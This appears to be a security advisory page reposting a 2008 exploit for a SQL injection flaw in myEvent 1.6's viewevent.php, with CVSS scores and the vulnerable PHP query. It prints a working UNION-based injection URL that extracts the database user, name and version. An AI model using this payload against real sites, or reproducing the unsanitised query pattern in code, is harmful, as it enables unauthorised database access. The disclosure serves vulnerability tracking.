myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability

2008.10.22
Credit: JosS
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability # url: http://mywebland.com/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Greetz To: All Hackers and milw0rm website vuln file: /viewevent.php vuln code: 43: if (isset($_GET['eventdate'])) xx: ... 93: $sql = "SELECT * FROM event WHERE date = '$eventdate'" ; 94: $results = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error()); 95: $event = mysql_num_rows($results); PoC: /viewevent.php?eventdate='[foo] Exploit: /viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*

References:

http://www.securityfocus.com/bid/31773
http://www.milw0rm.com/exploits/6760


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top